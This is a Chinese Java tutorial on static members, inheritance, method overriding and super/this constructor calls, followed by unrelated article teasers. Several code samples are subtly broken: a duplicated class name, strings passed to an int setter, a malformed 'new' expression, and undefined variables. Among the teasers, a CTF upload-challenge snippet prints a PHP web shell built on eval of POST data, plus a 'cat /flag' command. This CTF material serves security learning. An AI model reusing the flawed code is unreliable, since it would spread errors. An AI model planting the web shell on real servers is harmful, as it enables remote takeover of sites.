[java] 面向对象进阶篇1--黑马程序员
目录
static
静态变量及其访问
实例变量及其访问
静态方法及其访问
实例方法及其访问
总结
继承
作用
定义格式
示例
总结
子类不能继承的内容
继承后的特点
成员变量
成员变量不重名
成员变量重名
super访问父类成员变量
成员方法
成员方法不重名
成员方法重名
方法重写
@Override重写注解
构造方法
super(...)和this(...)
super和this的用法格式
this(...)用法演示
继承的特点
编辑
static
static
关键字,可以用来修饰的成员变量和成员方法
被static修饰的成员是属于类的,放在静态区中
没有static修饰的成员变量和方法则是属于对象的
在类中定义了一些成员变量,例如name,age,sex ,发现创建的每个对象都存在些成员变量(每个对象都可以访问这些变量),name ,age , sex是每个学生对象都应该有的属性,应该属于每个对象。
在Java中,成员(变量和方法)等是存在所属性的,Java通过static关键字来区分。
静态变量及其访问
有static修饰成员变量,说明这个成员变量是属于类的,这个成员变量称为类变量或者静态成员变量。 直接用类名访问即可,因为类只有一个,所以静态成员变量在内存区域中只存在一份,所有的对象都可以共享这个变量。
定义格式
修饰符 static 数据类型 变量名 = 初始值;
示例
public class Student {public static String schoolName = "123"; // 属于类,只有一份}
静态成员变量的访问
格式:类名.静态变量
public static void main(String[] args){System.out.println(Student.schoolName); //123Student.schoolName = "111";System.out.println(Student.schoolName); // 111
}
实例变量及其访问
无static修饰的成员变量属于每个对象的, 这个成员变量叫实例变量
实例成员变量属于每个对象,必须创建类的对象才可以访问。
访问格式:对象.实例成员变量
静态方法及其访问
有static修饰成员方法,说明这个成员方法是属于类的,这个成员方法称为类方法或者静态方法。 直接用类名访问即可,因为类只有一个,所以静态方法在内存区域中只存在一份,所有的对象都可以共享这个方法。
与静态成员变量一样,静态方法也是直接通过类名.方法名称即可访问。
示例
public class Student{public static String schoolName = "123"; // 属于类,只有一份public static void study(){System.out.println("我学习"); }
}
静态成员变量的访问
格式:类名.静态方法
public static void main(String[] args){Student.study();
}
实例方法及其访问
无static修饰的成员方法属于每个对象的,这个成员方法也叫做实例方法。
实例方法是属于每个对象,必须创建类的对象才可以访问。
格式:对象.实例方法
示例:
public class Student {// 实例变量private String name ;// 无 static修饰,实例方法。属于每个对象,必须创建对象调用public void run(){System.out.println("学生可以跑步");}// 无 static修饰,实例方法public void sleep(){System.out.println("学生睡觉");}public static void study(){}
}
public static void main(String[] args){// 创建对象 Student stu = new Student ;stu.name = "徐干";// Student.sleep();// 报错,必须用对象访问。stu.sleep();stu.run();
}
总结
1.当 static
修饰成员变量或者成员方法时,该变量称为静态变量,该方法称为静态方法。该类的每个对象都共享同一个类的静态变量和静态方法。任何对象都可以更改该静态变量的值或者访问静态方法。但是不推荐这种方式去访问。因为静态变量或者静态方法直接通过类名访问即可,完全没有必要用对象去访问。
2.无static修饰的成员变量或者成员方法,称为实例变量,实例方法,实例变量和实例方法必须创建类的对象,然后通过对象来访问。
3.static修饰的成员属于类,会存储在静态区,是随着类的加载而加载的,且只加载一次,所以只有一份,节省内存。存储于一块固定的内存区域(静态区),所以,可以直接被类名调用。它优先于对象存在,所以,可以被所有对象共享。
4.无static修饰的成员,是属于对象,可以有很多个,对象有多少个,他们就会出现多少份。所以必须由对象调用。
继承
继承:就是子类继承父类的属性和行为,使得子类对象可以直接具有与父类相同的属性、相同的行为。子类可以直接访问父类中的非私有的属性和行为。
多个类可以称为子类,单独被继承的那一个类称为父类、超类(superclass)或者基类。
作用
- 提高代码的复用性(减少代码冗余,相同代码重复利用)
- 使类与类之间产生了关系
定义格式
通过 extends
关键字,可以声明一个子类继承另外一个父类,定义格式如下:
class 父类 {//
}class 子类 extends 父类 {//
}
Java是单继承的,一个类只能继承一个直接父类
示例
使用继承定义以下类:
- 学生类 属性:姓名,年龄 行为:吃饭,睡觉
- 老师类 属性:姓名,年龄,薪水 行为:吃饭,睡觉,教书
- 班主任 属性:姓名,年龄,薪水 行为:吃饭,睡觉,管理
父类Human类
public class Human {// 合理隐藏private String name ;private int age ;// 合理暴露public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}}
子类Teacher类
public class Teacher extends Human {// 工资private double salary ;// 特有方法public void teach(){System.out.println("老师在认真教技术!");}public double getSalary() {return salary;}public void setSalary(double salary) {this.salary = salary;}
}
子类Student类
public class Student extends Human{}
子类BanZhuren类
public class Teacher extends Human {// 工资private double salary ;// 特有方法public void admin(){System.out.println("班主任强调纪律问题!");}public double getSalary() {return salary;}public void setSalary(double salary) {this.salary = salary;}
}
测试类
public class Test {public static void main(String[] args) {Teacher dlei = new Teacher();dlei.setName("播仔");dlei.setAge("31");dlei.setSalary(1000.99);System.out.println(dlei.getName());System.out.println(dlei.getAge());System.out.println(dlei.getSalary());dlei.teach();BanZhuRen linTao = new BanZhuRen();linTao.setName("灵涛");linTao.setAge("28");linTao.setSalary(1000.99);System.out.println(linTao.getName());System.out.println(linTao.getAge());System.out.println(linTao.getSalary());linTao.admin();Student xugan = new Student();xugan.setName("播仔");xugan.setAge("31");//xugan.setSalary(1000.99); // xugan没有薪水属性,报错!System.out.println(xugan.getName());System.out.println(xugan.getAge());}}
总结
1.继承实际上是子类相同的属性和行为可以定义在父类中,子类特有的属性和行为由自己定义,这样就实现了相同属性和行为的重复利用,从而提高了代码复用。
2.子类继承父类,就可以直接得到父类的成员变量和方法。
子类不能继承的内容
并不是父类的所有内容都可以给子类继承
子类不能继承父类的构造方法
子类可以继承父类的私有成员(成员变量,方法),只是子类无法直接访问而已,可以通过getter/setter方法访问父类的private成员变量。
public class Demo03 {public static void main(String[] args) {Zi z = new Zi();System.out.println(z.num1);
// System.out.println(z.num2); // 私有的子类无法使用// 通过getter/setter方法访问父类的private成员变量System.out.println(z.getNum2());z.show1();// z.show2(); // 私有的子类无法使用}
}class Fu {public int num1 = 10;private int num2 = 20;public void show1() {System.out.println("show1");}private void show2() {System.out.println("show2");}public int getNum2() {return num2;}public void setNum2(int num2) {this.num2 = num2;}
}class Zi extends Fu {
}
继承后的特点
成员变量
成员变量不重名
如果子类父类中出现不重名的成员变量,这时的访问是没有影响的。
class Fu {// Fu中的成员变量int num = 5;
}
class Zi extends Fu {// Zi中的成员变量int num2 = 6;// Zi中的成员方法public void show() {// 访问父类中的numSystem.out.println("Fu num="+num); // 继承而来,所以直接访问。// 访问子类中的num2System.out.println("Zi num2="+num2);}
}
class Demo04 {public static void main(String[] args) {// 创建子类对象Zi z = new Zi(); // 调用子类中的show方法z.show();
//Fu num = 5
//Zi num2 = 6}
}
成员变量重名
如果子类父类中出现重名的成员变量,这时的访问是有影响的。
class Fu1 {// Fu中的成员变量。int num = 5;
}
class Zi1 extends Fu1 {// Zi中的成员变量int num = 6;public void show() {// 访问父类中的numSystem.out.println("Fu num=" + num);// 访问子类中的numSystem.out.println("Zi num=" + num);}
}
class Demo04 {public static void main(String[] args) {// 创建子类对象Zi1 z = new Zi1(); // 调用子类中的show方法z1.show();
//Fu num = 6
//Zi num = 6}
}
子父类中出现了同名的成员变量时,子类会优先访问自己对象中的成员变量。如果此时想访问父类成员变量可以使用super关键字。
super访问父类成员变量
子父类中出现了同名的成员变量时,在子类中需要访问父类中非私有成员变量时,需要使用super
关键字,修饰父类成员变量,类似于 this
。
super代表的是父类对象的引用
this代表的是当前对象的引用。
使用格式:
super.父类成员变量名
子类方法需要修改,代码如下:
class Fu {// Fu中的成员变量。int num = 5;
}class Zi extends Fu {// Zi中的成员变量int num = 6;public void show() {int num = 1;// 访问方法中的numSystem.out.println("method num=" + num);// 访问子类中的numSystem.out.println("Zi num=" + this.num);// 访问父类中的numSystem.out.println("Fu num=" + super.num);}
}class Demo04 {public static void main(String[] args) {// 创建子类对象Zi1 z = new Zi1(); // 调用子类中的show方法z1.show(); }
}演示结果:
method num=1
Zi num=6
Fu num=5
如果Fu 类中的成员变量是非私有的,子类中可以直接访问
如果Fu 类中的成员变量是私有的,子类是不能直接访问的
父类中使用private修饰成员变量,可以在父类中提供公共的getXxx方法和setXxx方法访问父类的私有成员变量
成员方法
成员方法不重名
如果子类父类中出现不重名的成员方法,这时的调用是没有影响的。对象调用方法时,会先在子类中查找有没有对应的方法,若子类中存在就会执行子类中的方法,若子类中不存在就会执行父类中相应的方法。
class Fu {public void show() {System.out.println("Fu类中的show方法执行");}
}
class Zi extends Fu {public void show2() {System.out.println("Zi类中的show2方法执行");}
}
public class Demo05 {public static void main(String[] args) {Zi z = new Zi();//子类中没有show方法,但是可以找到父类方法去执行z.show(); z.show2();}
}
成员方法重名
如果子类父类中出现重名的成员方法,创建子类对象,子类对象调用该方法时,子类对象会优先调用自己的方法。
class Fu {public void show() {System.out.println("Fu show");}
}
class Zi extends Fu {//子类重写了父类的show方法public void show() {System.out.println("Zi show");}
}
public class ExtendsDemo05{public static void main(String[] args) {Zi z = new Zi();// 子类中有show方法,只执行重写后的show方法z.show(); // Zi show}
}
方法重写
方法重写 :子类中出现与父类一模一样的方法时(返回值类型,方法名和参数列表都相同),会出现覆盖效果,也称为重写或者复写。声明不变,重新实现。
发生在子父类之间的关系。 子类继承了父类的方法,但是子类觉得父类的这方法不足以满足自己的需求,子类重新写了一个与父类同名的方法,以便覆盖父类的该方 法。
例如:定义了一个动物类代码如下:
public class Animal {public void run(){System.out.println("动物跑的很快!");}public void cry(){System.out.println("动物都可以叫~~~");}
}
然后定义一个猫类,猫可能认为父类cry()方法不能满足自己的需求
代码如下:
public class Cat extends Animal {public void cry(){System.out.println("我们一起学猫叫,喵喵喵!喵的非常好听!");}
}public class Test {public static void main(String[] args) {// 创建子类对象Cat ddm = new Cat();// 调用父类继承而来的方法ddm.run();// 调用子类重写的方法ddm.cry();}
}
@Override重写注解
-
@Override:注解,重写注解校验!
-
这个注解标记的方法,就说明这个方法必须是重写父类的方法,否则编译阶段报错。
-
建议重写都加上这个注解,一方面可以提高代码的可读性,一方面可以防止重写出错!
加上后的子类代码形式如下:
public class Cat extends Animal {// 声明不变,重新实现// 方法名称与父类全部一样,只是方法体中的功能重写了!@Overridepublic void cry(){System.out.println("我们一起学猫叫,喵喵喵!喵的非常好听!");}
}
方法重写是发生在子父类之间的关系
子类方法覆盖父类方法,必须要保证权限大于等于父类权限
子类方法覆盖父类方法,返回值类型、函数名和参数列表都要一模一样
构造方法
构造方法的定义格式和作用
-
构造方法的名字是与类名一致的,所以子类是无法继承父类构造方法
-
构造方法的作用是初始化对象成员变量数据。所以子类的初始化过程中,必须先执行父类的初始化动作。子类的构造方法中默认有一个
super()
,表示调用父类的构造方法,父类成员变量初始化后,才可以给子类使用。(先有爸爸,才能有儿子)
继承后子类构方法器特点:子类所有构造方法的第一行都会默认先调用父类的无参构造方法
按如下需求定义类:
1. 人类
成员变量: 姓名,年龄
成员方法: 吃饭
2. 学生类
成员变量: 姓名,年龄,成绩
成员方法: 吃饭
代码如下:
class Person {private String name;private int age;public Person() {System.out.println("父类无参");}// getter/setter省略
}class Student extends Person {private double score;public Student() {//super(); // 调用父类无参,默认就存在,可以不写,必须再第一行System.out.println("子类无参");}public Student(double score) {//super(); // 调用父类无参,默认就存在,可以不写,必须再第一行this.score = score; System.out.println("子类有参");}}public class Demo07 {public static void main(String[] args) {Student s1 = new Student();System.out.println("----------");Student s2 = new Student(99.9);}
}输出结果:
父类无参
子类无参
----------
父类无参
子类有参
子类构造方法执行的时候,都会在第一行默认先调用父类无参数构造方法一次。
子类构造方法的第一行都隐含了一个super()去调用父类无参数构造方法,super()可以省略不写。
super(...)和this(...)
子类有参数构造方法只是初始化了自己对象中的成员变量score,而父类中的成员变量name和age依然是没有数据的,怎么解决这个问题呢,可以借助与super(...)调用父类构造方法,以便初始化继承自父类对象的name和age.
super和this的用法格式
super和this完整的用法如下
this.成员变量 -- 本类的
super.成员变量 -- 父类的this.成员方法名() -- 本类的
super.成员方法名() -- 父类的
调用构造方法格式:
super(...) -- 调用父类的构造方法,根据参数匹配确认
this(...) -- 调用本类的其他构造方法,根据参数匹配确认
super(....)用法演示
class Person {private String name ="凤姐";private int age = 20;public Person() {System.out.println("父类无参");}public Person(String name , int age){this.name = name ;this.age = age ;}// getter/setter省略
}class Student extends Person {private double score = 100;public Student() {//super(); // 调用父类无参构造方法,默认就存在,可以不写,必须再第一行System.out.println("子类无参");}public Student(String name , int age,double score) {super(name ,age);
// 调用父类有参构造方法Person(String name , int age)初始化name和agethis.score = score; System.out.println("子类有参");}// getter/setter省略
}public class Demo07 {public static void main(String[] args) {// 调用子类有参数构造方法Student s2 = new Student("张三",20,99);System.out.println(s2.getScore()); // 99System.out.println(s2.getName()); // 输出 张三System.out.println(s2.getAge()); // 输出 20}
}
子类的每个构造方法中均有默认的super(),调用父类的空参构造。手动调用父类构造会覆盖默认的super()
super() 和 this() 都必须是在构造方法的第一行,所以不能同时出现
super(..)是根据参数去确定调用父类哪个构造方法的
super(...)案例图解
父类空间优先于子类对象产生
在每次创建子类对象时,先初始化父类空间,再创建其子类对象本身。
先初始化父类,无论是否为私有
目的在于子类对象中包含了其对应的父类空间,便可以包含其父类的成员,如果父类成员非private修饰,则子类可以随意使用父类成员。代码体现在子类的构造调用时,一定先调用父类的构造方法。理解图解如下:
this(...)用法演示
this(...)
默认是去找本类中的其他构造方法,根据参数来确定具体调用哪一个构造方法。
为了借用其他构造方法的功能。
package com.itheima._08this和super调用构造方法;
/*** this(...):* 默认是去找本类中的其他构造方法,根据参数来确定具体调用哪一个构造方法。* 为了借用其他构造方法的功能。**/
public class ThisDemo01 {public static void main(String[] args) {Student xuGan = new Student();System.out.println(xuGan.getName()); // 输出:徐干System.out.println(xuGan.getAge());// 输出:21System.out.println(xuGan.getSex());// 输出: 男}
}class Student{private String name ;private int age ;private char sex ;public Student() {// 很弱,我的兄弟很牛逼啊
//我可以调用其他构造方法:Student(String name, int age, char sex)this("徐干",21,'男');}public Student(String name, int age, char sex) {this.name = name ;this.age = age ;this.sex = sex ;}public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public char getSex() {return sex;}public void setSex(char sex) {this.sex = sex;}
}
子类的每个构造方法中均有默认的super(),调用父类的空参构造。手动调用父类构造会覆盖默认的super()。
super() 和 this() 都必须是在构造方法的第一行,所以不能同时出现。
super(..)和this(...)是根据参数去确定调用父类哪个构造方法的。
super(..)可以调用父类构造方法初始化继承自父类的成员变量的数据。
this(..)可以调用本类中的其他构造方法。
继承的特点
1.Java只支持单继承,不支持多继承
// 一个类只能有一个父类,不可以有多个父类。
class A {}
class B {}
class C1 extends A {} // ok
// class C2 extends A, B {} // error
2.一个类可以有多个子类
// A可以有多个子类
class A {}
class C1 extends A {}
class C2 extends A {}
3.可以多层继承
class A {}
class C1 extends A {}
class D extends C1 {}
顶层父类是Object类。所有的类默认继承Object,作为父类。
会写一个继承结构下的标准Javabean即可
需求:
猫:属性,姓名,年龄,颜色
狗:属性,姓名,年龄,颜色,吼叫
分享书写技巧:
1.在大脑中要区分谁是父,谁是子
2.把共性写到父类中,独有的东西写在子类中
3.开始编写标准Javabean(从上往下写)
4.在测试类中,创建对象并赋值调用
代码示例:
package com.itheima.test4;public class Animal {//姓名,年龄,颜色private String name;private int age;private String color;public Animal() {}public Animal(String name, int age, String color) {this.name = name;this.age = age;this.color = color;}public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public String getColor() {return color;}public void setColor(String color) {this.color = color;}
}public class Cat extends Animal{//因为猫类中没有独有的属性。//所以此时不需要写私有的成员变量//空参public Cat() {}//需要带子类和父类中所有的属性public Cat(String name, int age, String color) {super(name,age,color);}
}public class Dog extends Animal{//Dog :吼叫private String wang;//构造public Dog() {}//带参构造:带子类加父类所有的属性public Dog(String name, int age, String color,String wang) {//共性的属性交给父类赋值super(name,age,color);//独有的属性自己赋值this.wang = wang;}public String getWang() {return wang;}public void setWang(String wang) {this.wang = wang;}
}public class Demo {public static void main(String[] args) {//Animal : 姓名,年龄,颜色//Cat ://Dog :吼叫//创建狗的对象Dog d = new Dog("旺财",2,"黑色","嗷呜~~");System.out.println(d.getName()+", " + d.getAge() + ", " + d.getColor() + ", " + d.getWang());//创建猫的对象Cat c = new Cat("中华田园猫",3,"黄色");System.out.println(c.getName() + ", " + c.getAge() + ", " + c.getColor());}
}
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FFPlay命令全集合
FFPlay是以FFmpeg框架为基础,外加渲染音视频的库libSDL构建的媒体文件播放器。 ffplay工具下载并播放视频,可以辅助卡看流信息。 官网下载地址:http://ffmpeg.org/download.html#build-windows 下载build好的exe程序: 此处下载…...
AI编程工具使用技巧:在Visual Studio Code中高效利用阿里云通义灵码
AI编程工具使用技巧:在Visual Studio Code中高效利用阿里云通义灵码 前言一、通义灵码介绍1.1 通义灵码简介1.2 主要功能1.3 版本选择1.4 支持环境 二、Visual Studio Code介绍1.1 VS Code简介1.2 主要特点 三、安装VsCode3.1下载VsCode3.2.安装VsCode3.3 打开VsCod…...
开源的Text-to-SQL工具WrenAI
WrenAI是一个开源的Text-to-SQL工具,旨在通过自然语言交互界面,帮助用户更便捷地查询数据库。以下是对WrenAI的详细介绍: 一、主要功能 自然语言交互:用户可以通过对话方式提出问题,WrenAI能够理解和解析复杂的查询需…...
python创建一个httpServer网页上传文件到httpServer
一、代码 1.server.py import os from http.server import SimpleHTTPRequestHandler, HTTPServer import cgi # 自定义请求处理类 class MyRequestHandler(SimpleHTTPRequestHandler):# 处理GET请求def do_GET(self):if self.path /:# 响应200状态码self.send_response(2…...
Linux中page、buffer_head、bio的关系
在Linux中,page、buffer_head、bio这三个概念紧密相关,共同构成了块设备I/O和内存管理的重要部分,它们的联系主要体现在以下方面: page与buffer_head 基于page构建:buffer_head通常是基于page来构建的,一…...
C++11新特性之decltype
1.decltype的作用 decltype是C11新增的一个关键字,与auto的功能一样,都是在编译期间推导变量类型的。不了解auto的可以转到——C11新特性之auto。 为什么引入decltype?看过上边那篇博客的读者应该知道auto在有些场景中并不适用,所以引入declt…...
对神经网络基础的理解
目录 一、《python神经网络编程》 二、一些粗浅的认识 1) 神经网络也是一种拟合 2)神经网络不是真的大脑 3)网络构建需要反复迭代 三、数字图像识别的实现思路 1)建立一个神经网络类 2)权重更新的具体实现 3&am…...
后端开发Web
Maven Maven是apache旗下的一个开源项目,是一款用于管理和构建java项目的工具 Maven的作用 依赖管理 方便快捷的管理项目依赖的资源(jar包),避免版本冲突问题 统一项目结构 提供标准、统一的项目结构 项目构建 标准跨平台(…...
QT 通过ODBC连接数据库的好方法:
效果图: PWD使用自己的,我的这是自己的,所以你用不了。 以下是格式。 // 1. 设置数据库连接 QSqlDatabase db QSqlDatabase::addDatabase("QODBC");// 建立和QMYSQL数据库的连接 // 设置数据库连接名称(DSN&am…...
【Feature Scaling】:加速梯度下降法的利器
目录 特征缩放的目的常见的特征缩放方法1. 最小-最大缩放(Min-Max Scaling)2. 标准化(Standardization 或 Z-Score Normalization)3. 最大绝对值缩放(Max Abs Scaling) Rescale的使用场景结论 在机器学习中…...
QT:控件属性及常用控件(3)-----输入类控件(正则表达式)
输入类控件既可以进行显示,也能让用户输入一些内容! 文章目录 1.Line Edit1.1 用户输入个人信息1.2 基于正则表达式的文本限制1.3 验证两次输入的密码是否一致1.4 让输入的密码可以被查看 2.Text Edit2.1 输入和显示同步2.1 其他信号出发情况 3.ComboBox…...
计算机网络 (59)无线个人区域网WPAN
前言 无线个人区域网(WPAN,Wireless Personal Area Network)是一种以个人为中心,采用无线连接方式的个人局域网。 一、定义与特点 定义:WPAN是以个人为中心,实现活动半径小、业务类型丰富、面向特定群体的无…...
Python Typing: 实战应用指南
文章目录 1. 什么是 Python Typing?2. 实战案例:构建一个用户管理系统2.1 项目描述2.2 代码实现 3. 类型检查工具:MyPy4. 常见的 typing 用法5. 总结 在 Python 中,静态类型检查越来越受到开发者的重视。typing 模块提供了一种方式…...
Redis存储③Redis基本命令+内部编号和架构
目录 1. Redis 命令行客户端 1.1 与 Redis 服务器交互 1.2 set 和 get 命令 2. 基本全局命令 2.1 keys 2.2 exists 2.3 del 2.4 expire 2.5 ttl 2.6 type 3. 数据结构和内部编码 4. 单线程架构 本篇完。 1. Redis 命令行客户端 1.1 与 Redis 服务器交互 根据上篇…...
Vivado生成X1或X4位宽mcs文件并固化到flash
1.生成mcs文件 01.在vivado里的菜单栏选择"tools"工具栏 02.在"tools"里选择"生成内存配置文件" 03.配置参数 按照FPGA板上的flash型号进行选型,相关配置步骤可参考下图。 注意:Flash数据传输位宽如果需要选择X4位宽&am…...
07 区块链安全技术
概述 区块链的安全特性 区块链解决了在不可靠网络上可靠地传输信息的难题,由于不依赖与中心节点的认证和管理,因此防止了中心节点被攻击造成的数据泄露和认证失败的风险。 区块链安全防护的三大特点 共识机制代替中心认证机制数据篡改“一发动全身”…...
第84期 | GPTSecurity周报
GPTSecurity是一个涵盖了前沿学术研究和实践经验分享的社区,集成了生成预训练Transformer(GPT)、人工智能生成内容(AIGC)以及大语言模型(LLM)等安全领域应用的知识。在这里,您可以找…...
柔性数组与c/c++程序中内存区域的划分
1.柔性数组 1.1柔性数组的定义 柔性数组是指在结构体中定义的,其大小在编译时未确定,而在运行时动态分配的数组。这种数组允许结构体的大小根据需要动态变化。语法如下: struct D {int a;int arry1[0]; };struct F {int a;int arry2[]; };…...
react页面定时器调用一组多个接口,如果接口请求返回令牌失效,清除定时器不再触发这一组请求
为了实现一个React页面使用定时器调用一组多个接口,并在任意一个接口请求返回令牌失效时清除定时器且不再触发这一组请求,可以遵循以下步骤: 1. 定义API调用函数:创建一个函数来处理一组API调用。每个API调用都应该检查响应状态以…...
使用 .NET Core 6.0 Web API 上传单个和多个文件
示例代码: https://download.csdn.net/download/hefeng_aspnet/90138968 介绍 我们将在 IFormFile 接口和 .NET 提供的其他接口的帮助下,逐步讨论单个和多个文件上传。 .NET 提供了一个 IFormFile 接口,代表 HTTP 请求中传输的文件。 此外…...
AJAX笔记入门篇
黑马程序员视频地址: 黑马程序员前端AJAX入门到实战全套教程https://www.bilibili.com/video/BV1MN411y7pw?vd_source0a2d366696f87e241adc64419bf12cab&spm_id_from333.788.videopod.episodes&p2 目录 AJAX 概念和axios 使用 什么是AJAX? …...
RoHS 简介
RoHS(Restriction of Hazardous Substances Directive,限制有害物质指令)是欧盟制定的一项环保法规,旨在限制电气和电子设备中某些有害物质的使用,以减少这些产品对环境和人体健康的危害。 RoHS限制的有害物质及其限量…...
C# 中 default 使用详解
总目录 前言 在C#中,default 关键字用于表示类型默认值。它可以根据上下文推断出适用的类型,并返回该类型的默认值。随着C#版本的发展,default 的用法也变得更加丰富和灵活。本文将详细介绍 default 在不同场景下的使用方法及其最佳实践。 一…...
无人机在城市执法监管中的应用:技术革新与监管挑战
随着科技的不断进步,无人机技术在城市管理中的应用越来越广泛。无人机以其灵活性、高效性和低成本的优势,正在逐渐成为城市执法监管的得力助手。本文将探讨无人机在城市执法监管中的应用现状、技术优势以及面临的挑战。 无人机技术在城市执法监管中的应用…...
[ACTF2020 新生赛]Upload1
题目 以为是前端验证,试了一下PHP传不上去 可以创建一个1.phtml文件。对.phtml文件的解释: 是一个嵌入了PHP脚本的html页面。将以下代码写入该文件中 <script languagephp>eval($_POST[md]);</script><script languagephp>system(cat /flag);&l…...